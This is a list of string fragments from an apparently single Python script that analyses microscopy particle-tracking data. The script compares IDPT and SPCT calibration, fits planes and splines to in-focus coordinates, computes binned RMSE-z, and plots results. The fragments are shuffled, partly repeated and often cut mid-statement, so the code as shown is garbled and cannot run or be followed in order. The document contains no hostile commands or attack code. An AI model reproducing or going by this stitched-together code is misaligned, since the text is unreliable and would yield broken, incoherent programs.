"= plotting.plot_fitted_plane_and_points(df=dfcpid, dict_fit_plane=dictc_fit_plane) plt.savefig(path_figs + '/idpt-calib-coords_fit-plane_raw.png') plt.close() dfict_fit_plane = pd.DataFrame.from_dict(dictc_fit_plane, orient='index', columns=['value']) dfict_fit_plane.to_excel(path_figs",
"= dfs_offm[(dfs_offm['z_true'] > -zlim) & (dfs_offm['z_true'] < zlim)] dfs_onm = dfs_onm[(dfs_onm['z_true'] > -zlim)",
"color=scired) axr.plot(df1.bin, df1.cm, '-', ms=ms-2, marker=markers[0], color=sciorange) axr.set_ylabel(r'$c_{m}$') ax.plot(df3.bin, df3.rmse_z, '-', ms=ms-0.75, marker=markers[2],",
"3. fit plane dictc_fit_plane = correct.fit_in_focus_plane(df=dfcpid, param_zf=param_zf, microns_per_pixel=microns_per_pixel) popt_c = dictc_fit_plane['popt_pixels'] if plot_test_plane:",
"m)$') plt.suptitle('fit RMSE = {}'.format(np.round(rmse_c, 3))) plt.savefig(path_figs + '/idpt-calib-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky)) plt.close() # step",
"['x', 'y'] into pid_defocus_stats dfcpid = pd.read_excel(path_test_pid_defocus) dfcstats = pd.read_excel(path_test_spct_stats) dfcpid = modify.merge_calib_pid_defocus_and_correction_coords(path_calib_coords,",
"fit, functions, bin, io, plotting, modify, plot_collections from utils.plotting import lighten_color # A",
"PARTICLE-TO-PARTICLE SIMILARITY PER-FRAME plot_average_particle_similarity = False if plot_average_particle_similarity: # setup save_plots = True",
"False show_plots = False if compare_idpt_spct: # --- 1. IDPT # read IDPT",
"= join(base_dir, 'results-04.26.22_spct_calib1_test-2-3/coords/calib-coords') path_calib_pid_defocus = join(path_spct_calib_coords, 'calib_spct_pid_defocus_stats_c-calib1_t-calib2.xlsx') path_calib_spct_stats = join(path_spct_calib_coords, 'calib_spct_stats_c-calib1_t-calib2.xlsx') path_calib_spct_pop =",
"\"\"\" NOTE: This correction scheme fits a 2D spline to the in-focus particle",
"ax.errorbar(dfrmsem.z_true, dfrmsem.z, yerr=dfrmsestd.z, fmt='o', ms=3, elinewidth=0.5, capsize=1, color=sciblue, label=r'$\\overline{z} \\pm \\sigma$') # ax.plot(z_fit,",
"# ---------------------------------------------------------------------------------------------------------------------- # 2. SETUP - IDPT path_idpt = join(base_dir, 'results-04.26.22_idpt') path_test_coords =",
"= 'z_true' bins_z = 20 round_z_to_decimal = 3 min_cm = 0.5 # 1.1",
"rmse-z: microns fig, ax = plt.subplots() ax.plot(dfrmse.index, dfrmse.rmse_z, '-o') ax.set_xlabel(r'$z_{true} \\: (\\mu m)$')",
") if show_plots: plt.show() plt.close() if rmse_on_off_bpe: # --- STEP 0. SPLIT DATAFRAME",
"binned rmse-z if save_plots or show_plots: ms = 4 # ----------------------- BASIC RMSE-Z",
"'-o', ms=ms) ax.set_xlabel(r'$z \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(xyticks) ax.set_ylabel(r'$S (p_{i}, p_{N})$') ax.set_ylim([0.49,",
"ms=ms - 1, color=lighten_color(scigreen, 1.0)) axr.plot(dfs_onm.z_true, dfs_onm.cm, '-o', ms=ms - 1, color=lighten_color(scigreen, 1.2))",
"(NO CORRECTION) bispl_c, rmse_c = fit.fit_3d_spline(x=dfcpid.x, y=dfcpid.y, z=dfcpid[param_zf], kx=kx, ky=ky) if plot_calib_spline: fig,",
"min_cm=min_cm, z_range=None, round_to_decimal=round_z_to_decimal, df_ground_truth=None, dropna=True, error_column='error', ) dfrmse_mean.to_excel(path_results + '/{}_mean-rmse-z_bin=1_no-filters.xlsx'.format(lbl)) # 1.2 binned",
"markerscale=2.5) plt.tight_layout() if save_plots: plt.savefig(path_figs + '/on-edge-off-bpe_calibration_curve.png') if show_plots: plt.show() plt.close() # ---",
"path_calib_pid_defocus = join(path_calib_coords, 'calib_spct_pid_defocus_stats_calib1_xy.xlsx') dfcpid = pd.read_excel(path_calib_pid_defocus) # step 2. remove outliers #",
"AND PLOT RAW POINTS + FITTED SURFACE (NO CORRECTION) bispl_c, rmse_c = fit.fit_3d_spline(x=dfcpid.x,",
"---------------------------------------------------------------------------------------------------------------------- # 5. IDPT VS. SPCT - COMPARE NUMBER OF PARTICLES PER Z",
"sets to just ignore. This is not necessarily surprising because the calibration images",
"ax.plot(z_fit, functions.line(z_fit, *popt), linestyle='--', linewidth=1.5, color='black', alpha=0.25, label=r'$dz/dz_{true} = $' + ' {}'.format(np.round(popt[0],",
"rmse-z (microns) + c_m darken_clr = 1.0 alpha_clr = 1.0 fig, [axr, ax]",
"dft = correct.correct_z_by_spline(dft, bispl=bispl_c, param_z='z') dft['z_true_corr'] = dft['z_true'] - dft['z_cal_surf'] # step 8.",
"1. merge [['x', 'y']] into spct pid defocus stats. if merge_spct_stats: # read",
"CORRECT TEST COORDS correct_test_coords = False if correct_test_coords: use_idpt_zf = False use_spct_zf =",
"ax.set_xticks(xyticks) ax.set_ylabel(r'$N_{p} \\: (\\#)$') ax.set_ylim([0, 185]) ax.set_yticks([0, 50, 100, 150]) ax.legend() plt.tight_layout() if",
"# 2.2 correct z by mean z_f from peak_intensity z_f_mean = 35.1 dfs_off['z']",
"= dfcpid[dfcpid['x'] > 120] # step 3. fit plane dictc_fit_plane = correct.fit_in_focus_plane(df=dfcpid, param_zf=param_zf,",
"to just ignore. This is not necessarily surprising because the calibration images were",
"--- plotting # --- STEP 1. PLOT CALIBRATION CURVE (Z VS. Z_TRUE) FOR",
"ax.set_xlabel('x (pixels)') ax.set_ylabel('y (pixels)') ax.set_zlabel(r'$z_{f} \\: (\\mu m)$') plt.suptitle('fit RMSE = {}'.format(np.round(rmse_c, 3)))",
"[145, 175, 205] round_x_to_decimal = 0 dfbx = bin.bin_by_list(dft, column_to_bin=column_to_bin, bins=bins_x, round_to_decimal=round_x_to_decimal, )",
"for IDPT calibration path_spct_calib_coords = join(base_dir, 'results-04.26.22_spct_calib1_test-2-3/coords/calib-coords') path_calib_pid_defocus = join(path_spct_calib_coords, 'calib_spct_pid_defocus_stats_c-calib1_t-calib2.xlsx') path_calib_spct_stats =",
"ax.set_ylabel(r'$\\sigma_{z} \\: (\\mu m)$') plt.tight_layout() if save_plots: plt.savefig(path_figs + '/{}_rmse-z_microns.png'.format(lbl)) if show_plots: plt.show()",
"= dfcpid[param_zf].std() # 2.2 filter calibration coords dfcpid = dfcpid[(dfcpid[param_zf] > 34) &",
"ax.plot(df2.bin, df2.rmse_z, '-', ms=ms-0.75, marker=markers[1], color=scired, label=lbls[1]) ax.plot(df1.bin, df1.rmse_z, '-', ms=ms-0.75, marker=markers[0], color=sciorange,",
"on the fine adjustment knob during image acquisition). \"\"\" # -------------------------------------------------------------------------------------------------------------- # SETUP",
"dfict_fit_plane = pd.DataFrame.from_dict(dictc_fit_plane, orient='index', columns=['value']) dfict_fit_plane.to_excel(path_figs + '/idpt-calib-coords_fit-plane_raw.xlsx') # step 4. FIT SMOOTH",
"if show_plots: plt.show() plt.close() # --- # FIGURE 2. PLOT NUMBER OF PARTICLES",
"= '#0C5DA5' scigreen = '#00B945' scired = '#FF9500' sciorange = '#FF2C00' plt.style.use(['science', 'ieee',",
"ax = plt.subplots() ax.errorbar(dfrmsem.z_true, dfrmsem.z, yerr=dfrmsestd.z, fmt='o', ms=3, elinewidth=0.5, capsize=1, color=sciblue, label=r'$\\overline{z} \\pm",
"= dfs_on.groupby('z_true').count().reset_index() # filter z_true for pretty plotting zlim = 35 dftc =",
"'on-edge-off-bpe') df1 = pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[0]))) df2 = pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[1]))) df3 = pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[2])))",
"listdir import matplotlib.pyplot as plt # imports import numpy as np import pandas",
"if save_plots: plt.savefig(path_figs + '/on-edge-off-bpe_calibration_curve.png') if show_plots: plt.show() plt.close() # --- STEP 2.",
"# 2.1 read SPCT off-bpe test coords dfs_off = pd.read_excel('/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/results-04.26.22_spct_calib1_test-2-3/coords/test-coords/test_coords_t-calib2_c-calib1.xlsx') dfs_on = pd.read_excel('/Users/mackenzie/Desktop/gdpyt-characterization/experiments/11.02.21-BPE_Pressure_Deflection_20X/analyses/results-04.26.22_spct_stack-id-on-bpe/testcalib2_calcalib1/test_coords_t_20X_ccalib1_tcalib2_c_20X_tcalib2_ccalib1_2022-04-26",
"if save_plots: plt.savefig(path_figs + '/average-particle-to-particle-similarity.png') plt.show() plt.close() j = 1 print(\"Analysis completed without",
"len(dft.id.unique()) # --- # --- STEP 0. drop and rename columns for simplicity",
"= 20.0 area_pixels = 512 ** 2 area_microns = (512 * microns_per_pixel) **",
"= bin.bin_by_list(dft, column_to_bin=column_to_bin, bins=bins_x, round_to_decimal=round_x_to_decimal, ) df_on = dfbx[dfbx['bin'] == bins_x[0]] df_edge =",
"axr.set_yticks([0.8, 0.9, 1.0]) ax.plot(dftc.z_true, dftc.z, '-o', ms=ms, color=sciblue, label=r'$IDPT$') ax.plot(dfs_offc.z_true, dfs_offc.z, '-o', ms=ms,",
"and ending tick mark on the fine adjustment knob during image acquisition). \"\"\"",
"2) / len(dfrmse.z)) print(rmse_fit_line) # binned calibration curve with std-z errorbars (microns) +",
"dfs_onc[(dfs_onc['z_true'] > -zlim) & (dfs_onc['z_true'] < zlim)] # --- # --- plotting #",
"ms=ms-2, marker=markers[1], color=scired) axr.plot(df1.bin, df1.cm, '-', ms=ms-2, marker=markers[0], color=sciorange) axr.set_ylabel(r'$c_{m}$') ax.plot(df3.bin, df3.rmse_z, '-',",
"= dictc_fit_plane['popt_pixels'] if plot_calib_plane: fig = plotting.plot_fitted_plane_and_points(df=dfcpid, dict_fit_plane=dictc_fit_plane) plt.savefig(path_figs + '/idpt-calib-coords_fit-plane_raw.png') plt.close() dfict_fit_plane",
"# 1.1 mean rmse-z dfrmse_mean = bin.bin_local_rmse_z(dft, column_to_bin=column_to_bin, bins=1, min_cm=min_cm, z_range=None, round_to_decimal=round_z_to_decimal, df_ground_truth=None,",
"'error']] # step 7. create a z_corr column by using fitted spline to",
"plt.savefig(path_figs + '/test-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky)) plt.close() # ---------------------------------------------------------------------------------------------------------------------- # 4. PLOT TEST COORDS RMSE-Z",
"= np.linspace(dfrmse.z_true.min(), dfrmse.z_true.max()) rmse_fit_line = np.sqrt(np.sum((functions.line(dfrmse.z_true, *popt) - dfrmse.z)**2) / len(dfrmse.z)) print(rmse_fit_line) #",
"path_test_spct_pop = join(path_spct_test_coords, 'calib_spct_pop_defocus_stats_c-calib2_t-calib3.xlsx') # -------------------------------------------------------------------------------------------------------------- # --- PART A. READ COORDS USED",
"+ c_m darken_clr = 1.0 alpha_clr = 1.0 fig, [axr, ax] = plt.subplots(nrows=2,",
"functions, bin, io, plotting, modify, plot_collections from utils.plotting import lighten_color # A note",
"z_range=None, round_to_decimal=round_z_to_decimal, df_ground_truth=None, dropna=True, error_column='error', ) dfrmse.to_excel(path_results + '/{}_binned-rmse-z_bins={}_no-filters.xlsx'.format(lbl, bins_z)) # 1.3 groupby",
"# close all figs plt.close('all') # ----------------------- BASIC RMSE-Z PLOTS # rmse-z: microns",
"'coords/calib-coords') path_similarity = join(path_idpt, 'similarity') path_results = join(path_idpt, 'results') path_figs = join(path_idpt, 'figs')",
"xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$\\sigma_{z} \\: (\\mu m)$') ax.legend() plt.tight_layout() if save_plots: plt.savefig(path_figs +",
"'/calibration-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky)) plt.close() # --- # --- PART B. READ COORDS USED FOR",
"EACH DATAFRAME (ON, EDGE, OFF) ss = 1 fig, ax = plt.subplots() ax.scatter(df_off.z_true,",
"functions # imports import os from os.path import join from os import listdir",
"read binned rmse-z dataframes from Excel path_rmse_compare = join(path_results, 'on-edge-off-bpe') df1 = pd.read_excel(join(path_rmse_compare,",
"= join(path_idpt, 'coords/calib-coords') path_similarity = join(path_idpt, 'similarity') path_results = join(path_idpt, 'results') path_figs =",
"ky = 2, 2 # step 1. read calibration coords dfc, dfcpid, dfcpop,",
"= 0 position. \"\"\" param_zf = 'zf_from_peak_int' plot_calib_plane = False plot_calib_spline = False",
"analyze_test_coords = False save_plots = False show_plots = False if analyze_test_coords: # read",
"# step 7. create a z_corr column by using fitted spline to correct",
"\\: (\\mu m)$') plt.suptitle('fit RMSE = {}'.format(np.round(rmse_c, 3))) plt.savefig(path_figs + '/test-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky)) plt.close()",
"# filter z_true for pretty plotting dftm = dftm[(dftm['z_true'] > -zlim) & (dftm['z_true']",
"coords stats mag_eff = 20.0 area_pixels = 512 ** 2 area_microns = (512",
"dfcpid[param_zf].std() # 2.2 filter calibration coords dfcpid = dfcpid[(dfcpid[param_zf] > 34) & (dfcpid[param_zf]",
"z_range=None, round_to_decimal=round_z_to_decimal, df_ground_truth=None, dropna=True, error_column='error', ) dfrmse_mean.to_excel(path_results + '/{}_mean-rmse-z_bin=1_no-filters.xlsx'.format(lbl)) # 1.2 binned rmse-z",
"{}'.format(np.round(rmse_c, 3))) plt.savefig(path_figs + '/calibration-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky)) plt.close() # --- # --- PART B.",
"rmse_c = fit.fit_3d_spline(x=dfcpid.x, y=dfcpid.y, z=dfcpid[param_zf], kx=kx, ky=ky) if plot_calib_spline: fig, ax = plotting.scatter_3d_and_spline(dfcpid.x,",
"= dft.copy() dftg = dftg.round({'z_true': 0}) dftc = dftg.groupby('z_true').count().reset_index() dfs_offc = dfs_off.groupby('z_true').count().reset_index() dfs_onc",
"# step 6. drop unnecessary columns in dft dft = dft[['frame', 'id', 'z',",
"with std-z errorbars (microns) + fit line fig, ax = plt.subplots() ax.errorbar(dfrmsem.z_true, dfrmsem.z,",
"dftc[(dftc['z_true'] > -zlim) & (dftc['z_true'] < zlim)] dfs_offc = dfs_offc[(dfs_offc['z_true'] > -zlim) &",
"\"\"\" NOTE: No correction is currently performed. The z-coords are well aligned enough",
"= [-30, -15, 0, 15, 30] ms = 3 # read dataframe fp",
"np import pandas as pd from scipy.optimize import curve_fit import filter import analyze",
"bin.bin_local_rmse_z(dft, column_to_bin=column_to_bin, bins=1, min_cm=min_cm, z_range=None, round_to_decimal=round_z_to_decimal, df_ground_truth=None, dropna=True, error_column='error', ) dfrmse_mean.to_excel(path_results + '/{}_mean-rmse-z_bin=1_no-filters.xlsx'.format(lbl))",
"dfrmse.z_true.max()) rmse_fit_line = np.sqrt(np.sum((functions.line(dfrmse.z_true, *popt) - dfrmse.z)**2) / len(dfrmse.z)) print(rmse_fit_line) # binned calibration",
"if save_plots: plt.savefig(path_figs + '/compare-on-edge-off-bpe_rmse-z_microns_cm.png') if show_plots: plt.show() plt.close() # ---------------------------------------------------------------------------------------------------------------------- # 5.",
"m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(xyticks) ax.set_ylabel(r'$S (p_{i}, p_{N})$') ax.set_ylim([0.49, 1.01]) plt.tight_layout() if save_plots: plt.savefig(path_figs",
"np.sqrt(np.sum((functions.line(dfrmse.z_true, *popt) - dfrmse.z)**2) / len(dfrmse.z)) print(rmse_fit_line) # binned calibration curve with std-z",
"linewidth=1.5, color='black', alpha=0.25, label=r'$dz/dz_{true} = $' + ' {}'.format(np.round(popt[0], 3))) ax.set_xlabel(r'$z_{true} \\: (\\mu",
"'-o', ms=ms - 1, color=sciblue) axr.plot(dfs_offm.z_true, dfs_offm.cm, '-o', ms=ms - 1, color=lighten_color(scigreen, 1.0))",
"plt.show() plt.close() if rmse_on_off_bpe: # --- STEP 0. SPLIT DATAFRAME INTO (1) OFF",
"orient='index', columns=['value']) dfict_fit_plane.to_excel(path_figs + '/test-coords_fit-plane_raw.xlsx') # FIT SMOOTH 2D SPLINE AND PLOT RAW",
"True xylim = 37.25 xyticks = [-30, -15, 0, 15, 30] ms =",
"column_to_count='id', bins=bins_z, round_to_decimal=round_z_to_decimal, return_groupby=True) # 1.3 plot binned rmse-z if save_plots or show_plots:",
"is not necessarily surprising because the calibration images were acquired with the intention",
"# --- 3. GROUPBY Z_TRUE dftg = dft.copy() dftg = dftg.round({'z_true': 0}) dftc",
"IDPT test path_spct_test_coords = join(base_dir, 'results-04.28.22_spct-calib2_test3/coords/calib-coords') path_test_pid_defocus = join(path_spct_test_coords, 'calib_spct_pid_defocus_stats_c-calib2_t-calib3.xlsx') path_test_spct_stats = join(path_spct_test_coords,",
"dfcpid[param_zf], bispl_c, cmap='RdBu', grid_resolution=30, view='multi') ax.set_xlabel('x (pixels)') ax.set_ylabel('y (pixels)') ax.set_zlabel(r'$z_{f} \\: (\\mu m)$')",
"SETUP - SPCT CALIBRATION IN-FOCUS COORDS # SPCT analysis of images used for",
"test path_spct_test_coords = join(base_dir, 'results-04.28.22_spct-calib2_test3/coords/calib-coords') path_test_pid_defocus = join(path_spct_test_coords, 'calib_spct_pid_defocus_stats_c-calib2_t-calib3.xlsx') path_test_spct_stats = join(path_spct_test_coords, 'calib_spct_stats_c-calib2_t-calib3.xlsx')",
"\\: (\\mu m)$') plt.suptitle('fit RMSE = {}'.format(np.round(rmse_c, 3))) plt.savefig(path_figs + '/calibration-coords_fit-spline_kx{}_ky{}.png'.format(kx, ky)) plt.close()",
"FOR ALL PARTICLES column_to_bin = 'z_true' bins_z = 20 round_z_to_decimal = 3 min_cm",
"= join(path_idpt, 'figs') # ---------------------------------------------------------------------------------------------------------------------- # ---------------------------------------------------------------------------------------------------------------------- # 3. ANALYSIS - READ FILES",
"/ len(dfrmse.z)) print(rmse_fit_line) # binned calibration curve with std-z errorbars (microns) + fit",
"# format plots xylim = 37.25 xyticks = [-30, -15, 0, 15, 30]",
"= len(dft) i_num_pids = len(dft.id.unique()) dft = dft.drop(columns=['z', 'z_true']) dft = dft.rename(columns={'z_corr': 'z',",
"True plot_test_plane = True kx, ky = 2, 2 # step 1. merge",
"1, color=lighten_color(scigreen, 1.2)) axr.set_ylabel(r'$c_{m}$') axr.set_ylim([0.790, 1.01]) axr.set_yticks([0.8, 0.9, 1.0]) ax.plot(dftc.z_true, dftc.z, '-o', ms=ms,",
"plt.close('all') # ----------------------- BASIC RMSE-Z PLOTS # rmse-z: microns fig, ax = plt.subplots()",
"--- # FIGURE 2. PLOT NUMBER OF PARTICLES PER Z_TRUE AND CM dftm",
"0. SPLIT DATAFRAME INTO (1) OFF BPE and (2) OFF BPE. column_to_bin =",
"+ '/test-coords_fit-plane_raw.png') plt.close() dfict_fit_plane = pd.DataFrame.from_dict(dictc_fit_plane, orient='index', columns=['value']) dfict_fit_plane.to_excel(path_figs + '/test-coords_fit-plane_raw.xlsx') # FIT",
"microns_per_pixel=microns_per_pixel) popt_c = dictc_fit_plane['popt_pixels'] if plot_calib_plane: fig = plotting.plot_fitted_plane_and_points(df=dfcpid, dict_fit_plane=dictc_fit_plane) plt.savefig(path_figs + '/idpt-calib-coords_fit-plane_raw.png')",
"'calib_spct_pid_defocus_stats_c-calib2_t-calib3.xlsx') path_test_spct_stats = join(path_spct_test_coords, 'calib_spct_stats_c-calib2_t-calib3.xlsx') path_test_spct_pop = join(path_spct_test_coords, 'calib_spct_pop_defocus_stats_c-calib2_t-calib3.xlsx') # -------------------------------------------------------------------------------------------------------------- # ---",
"-15, 0, 15, 30] ms = 3 # read dataframe fp = join(base_dir,",
"calibration coords dfc, dfcpid, dfcpop, dfcstats = io.read_calib_coords(path_calib_coords, method) # step 2. remove",
"# plot fig, [axr, ax] = plt.subplots(nrows=2, sharex=True, gridspec_kw={'height_ratios': [1, 2]}) axr.plot(dftm.z_true, dftm.cm,",
"\\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$\\sigma_{z} \\: (\\mu m)$') plt.tight_layout() if",
"'Border', 'Off'] markers = ['s', 'd', 'o'] if rmse_all_particles: # --- STEP 1.",
"rmse_all_particles: # --- STEP 1. CALCULATE RMSE-Z FOR ALL PARTICLES column_to_bin = 'z_true'",
"plotting # --- STEP 1. PLOT CALIBRATION CURVE (Z VS. Z_TRUE) FOR EACH",
"pd.read_excel(fp) # plot fig, ax = plt.subplots() ax.plot(dfsim.z_corr, dfsim.sim, '-o', ms=ms) ax.set_xlabel(r'$z \\:",
"capsize=1, color=sciblue, label=r'$\\overline{z} \\pm \\sigma$') # ax.plot(z_fit, functions.line(z_fit, *popt), linestyle='--', linewidth=1.5, color='black', alpha=0.25,",
"= '#FF2C00' plt.style.use(['science', 'ieee', 'std-colors']) fig, ax = plt.subplots() size_x_inches, size_y_inches = fig.get_size_inches()",
"= dfcpid[(dfcpid[param_zf] > zf_c_mean - zf_c_std / 2) & (dfcpid[param_zf] < zf_c_mean +",
"'/{}_rmse-z_microns.png'.format(lbl)) if show_plots: plt.show() plt.close() # ----------------------- Z-MEAN +/- Z-STD PLOTS # fit",
"= np.linspace(dfrmse.z_true.min(), dfrmse.z_true.max()) rmse_fit_line = np.sqrt(np.sum((functions.line(dfrmse.z_true, *popt) - dfrmse.z) ** 2) / len(dfrmse.z))",
"import curve_fit import filter import analyze from correction import correct from utils import",
"(pixels)') ax.set_ylabel('y (pixels)') ax.set_zlabel(r'$z_{f} \\: (\\mu m)$') plt.suptitle('fit RMSE = {}'.format(np.round(rmse_c, 3))) plt.savefig(path_figs",
"# filter z_true for pretty plotting zlim = 35 dftc = dftc[(dftc['z_true'] >",
"# SETUP - SPCT CALIBRATION IN-FOCUS COORDS # SPCT analysis of images used",
"'zf_from_peak_int' plot_calib_plane = True plot_test_plane = True kx, ky = 2, 2 #",
"from correction import correct from utils import fit, functions, bin, io, plotting, modify,",
"\\pm \\sigma$') # ax.plot(z_fit, functions.line(z_fit, *popt), linestyle='--', linewidth=1.5, color='black', alpha=0.25, label=r'$dz/dz_{true} = $'",
"(pixels)') ax.set_zlabel(r'$z_{f} \\: (\\mu m)$') plt.suptitle('fit RMSE = {}'.format(np.round(rmse_c, 3))) plt.savefig(path_figs + '/calibration-coords_fit-spline_kx{}_ky{}.png'.format(kx,",
"\\: (\\mu m)$') ax.legend() plt.tight_layout() if save_plots: plt.savefig(path_figs + '/compare-on-edge-off-bpe_rmse-z_microns_cm.png') if show_plots: plt.show()",
"# --- STEP 1. PLOT CALIBRATION CURVE (Z VS. Z_TRUE) FOR EACH DATAFRAME",
"SPCT analysis of images used for IDPT test path_spct_test_coords = join(base_dir, 'results-04.28.22_spct-calib2_test3/coords/calib-coords') path_test_pid_defocus",
"xyticks = [-30, -15, 0, 15, 30] ms = 3 # read dataframe",
"binned rmse-z dataframes from Excel path_rmse_compare = join(path_results, 'on-edge-off-bpe') df1 = pd.read_excel(join(path_rmse_compare, '{}_binned-rmse-z_bins=20_no-filters.xlsx'.format(lbls[0])))",
"*popt) - dfrmse.z)**2) / len(dfrmse.z)) print(rmse_fit_line) # binned calibration curve with std-z errorbars",
"0 position. \"\"\" param_zf = 'zf_from_peak_int' plot_calib_plane = False plot_calib_spline = False kx,",
"['On', 'Border', 'Off'] markers = ['s', 'd', 'o'] if rmse_all_particles: # --- STEP",
"save_plots or show_plots: ms = 4 # ----------------------- BASIC RMSE-Z PLOTS # rmse-z:",
"3), np.round(popt[1], 3)) ) if show_plots: plt.show() plt.close() if rmse_compare: # 1. read",
"unnecessary columns in dft dft = dft[['frame', 'id', 'z', 'z_true', 'x', 'y', 'cm',",
"df3.cm, '-', ms=ms-2, marker=markers[2], color=sciblue) axr.plot(df2.bin, df2.cm, '-', ms=ms-2, marker=markers[1], color=scired) axr.plot(df1.bin, df1.cm,",
"ax = plt.subplots() ax.plot(dftc.z_true, dftc.z, '-o', ms=ms, color=sciblue, label=r'$IDPT$') ax.plot(dfs_offc.z_true, dfs_offc.z, '-o', ms=ms,",
"+ '/idpt-calib-coords_fit-plane_raw.xlsx') # step 4. FIT SMOOTH 2D SPLINE AND PLOT RAW POINTS",
"(2) OFF BPE. column_to_bin = 'x' bins_x = [145, 175, 205] round_x_to_decimal =",
"acquisition). \"\"\" # -------------------------------------------------------------------------------------------------------------- # SETUP - SPCT CALIBRATION IN-FOCUS COORDS # SPCT",
"microns_per_pixel) ** 2 i_num_rows = len(dft) i_num_pids = len(dft.id.unique()) # --- # ---",
"ALL PARTICLES column_to_bin = 'z_true' bins_z = 20 round_z_to_decimal = 3 min_cm =",
"plt.close() # --- STEP 2. FOR EACH DATAFRAME (ON, EDGE, OFF), COMPUTE RMSE-Z",
"--- # --- PART B. READ COORDS USED FOR IDPT TEST (i.e. 'calib2')",
"ANALYSIS - READ FILES method = 'idpt' microns_per_pixel = 0.8 # ----- 4.1",
"20:45:34.334931.xlsx') # 2.2 correct z by mean z_f from peak_intensity z_f_mean = 35.1",
"bins_z = 20 round_z_to_decimal = 3 min_cm = 0.5 # 1.1 mean rmse-z",
"-zlim) & (dfs_onc['z_true'] < zlim)] # --- # --- plotting # format plots",
"dftm = dftm[(dftm['z_true'] > -zlim) & (dftm['z_true'] < zlim)] dfs_offm = dfs_offm[(dfs_offm['z_true'] >",
"rmse-z dfrmse = bin.bin_local_rmse_z(dft, column_to_bin=column_to_bin, bins=bins_z, min_cm=min_cm, z_range=None, round_to_decimal=round_z_to_decimal, df_ground_truth=None, dropna=True, error_column='error', )",
"show_plots: plt.show() plt.close() # ---------------------------------------------------------------------------------------------------------------------- # 6. AVERAGE PARTICLE-TO-PARTICLE SIMILARITY PER-FRAME plot_average_particle_similarity =",
"(\\#)$') ax.set_ylim([0, 185]) ax.set_yticks([0, 50, 100, 150]) ax.legend() plt.tight_layout() if save_plots: plt.savefig(path_figs +",
"= io.read_calib_coords(path_calib_coords, method) # step 2. remove outliers # 2.1 get z_in-focus mean",
"dfbx[dfbx['bin'] == bins_x[0]] df_edge = dfbx[dfbx['bin'] == bins_x[1]] df_off = dfbx[dfbx['bin'] == bins_x[2]]",
"= False if analyze_test_coords: # read test coords dft = io.read_test_coords(path_test_coords) # test",
"+ '/compare-on-edge-off-bpe_rmse-z_microns.png') if show_plots: plt.show() plt.close() # rmse-z (microns) + c_m darken_clr =",
"ax.legend(loc='lower right', markerscale=2.5) plt.tight_layout() if save_plots: plt.savefig(path_figs + '/on-edge-off-bpe_calibration_curve.png') if show_plots: plt.show() plt.close()",
"# step 1. read calibration coords dfc, dfcpid, dfcpop, dfcstats = io.read_calib_coords(path_calib_coords, method)",
"line fig, ax = plt.subplots() ax.errorbar(dfrmsem.z_true, dfrmsem.z, yerr=dfrmsestd.z, fmt='o', ms=3, elinewidth=0.5, capsize=1, color=sciblue,",
"= pd.read_excel(path_calib_pid_defocus) dfcstats = pd.read_excel(path_calib_spct_stats) dfcpid = modify.merge_calib_pid_defocus_and_correction_coords(path_calib_coords, method, dfs=[dfcstats, dfcpid]) else: #",
"xylim = 37.25 xyticks = [-30, -15, 0, 15, 30] lbls = ['On',",
"BASIC RMSE-Z PLOTS # rmse-z: microns fig, ax = plt.subplots() ax.plot(dfrmse.index, dfrmse.rmse_z, '-o')",
"df1.rmse_z, '-o', ms=ms, label=lbls[0], color=sciorange) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks)",
"dfs=[dfcstats, dfcpid]) else: # read SPCT pid defocus stats that have already been",
"import filter import analyze from correction import correct from utils import fit, functions,",
"--- # --- STEP 0. drop and rename columns for simplicity dft =",
"label=lbls[0]) ax.scatter(df_edge.z_true, df_edge.z, s=ss, marker=markers[1], color=scired, label=lbls[1]) ax.set_xlabel(r'$z_{true} \\: (\\mu m)$') ax.set_xlim([-xylim, xylim])",
"False use_spct_zf = False # ------------------------------------------------------------------------------------------------------------------ if use_idpt_zf: \"\"\" NOTE: This correction scheme",
"m)$') ax.set_xlim([-xylim, xylim]) ax.set_xticks(ticks=xyticks, labels=xyticks) ax.set_ylabel(r'$\\sigma_{z} \\: (\\mu m)$') plt.tight_layout() if save_plots: plt.savefig(path_figs",
"# FIGURE 2. PLOT NUMBER OF PARTICLES PER Z_TRUE AND CM dftm =",
"#FF9500 Orange: #FF2C00 Other Colors: Light Blue: #7BC8F6 Paler Blue: #0343DF Azure: #069AF3",
"+ '/test-coords_fit-plane_raw.xlsx') # FIT SMOOTH 2D SPLINE AND PLOT RAW POINTS + FITTED",
"xylim]) ax.set_yticks(ticks=xyticks, labels=xyticks) ax.legend(loc='lower right', handletextpad=0.25, borderaxespad=0.3) plt.tight_layout() if save_plots: plt.savefig(path_figs + '/calibration_curve_z+std-errobars_fit_line_a{}_b{}_slope-label-blk.png'.format(",
"rmse_c = fit.fit_3d_spline(x=dfcpid.x, y=dfcpid.y, z=dfcpid[param_zf], kx=kx, ky=ky) fig, ax = plotting.scatter_3d_and_spline(dfcpid.x, dfcpid.y, dfcpid[param_zf],",
"205] round_x_to_decimal = 0 dfbx = bin.bin_by_list(dft, column_to_bin=column_to_bin, bins=bins_x, round_to_decimal=round_x_to_decimal, ) df_on =",
"column_to_bin=column_to_bin, bins=bins_z, min_cm=min_cm, z_range=None, round_to_decimal=round_z_to_decimal, df_ground_truth=None, dropna=True, error_column='error', ) dfrmse.to_excel(path_results + '/binned-rmse-z_bins={}_no-filters.xlsx'.format(bins_z)) #",
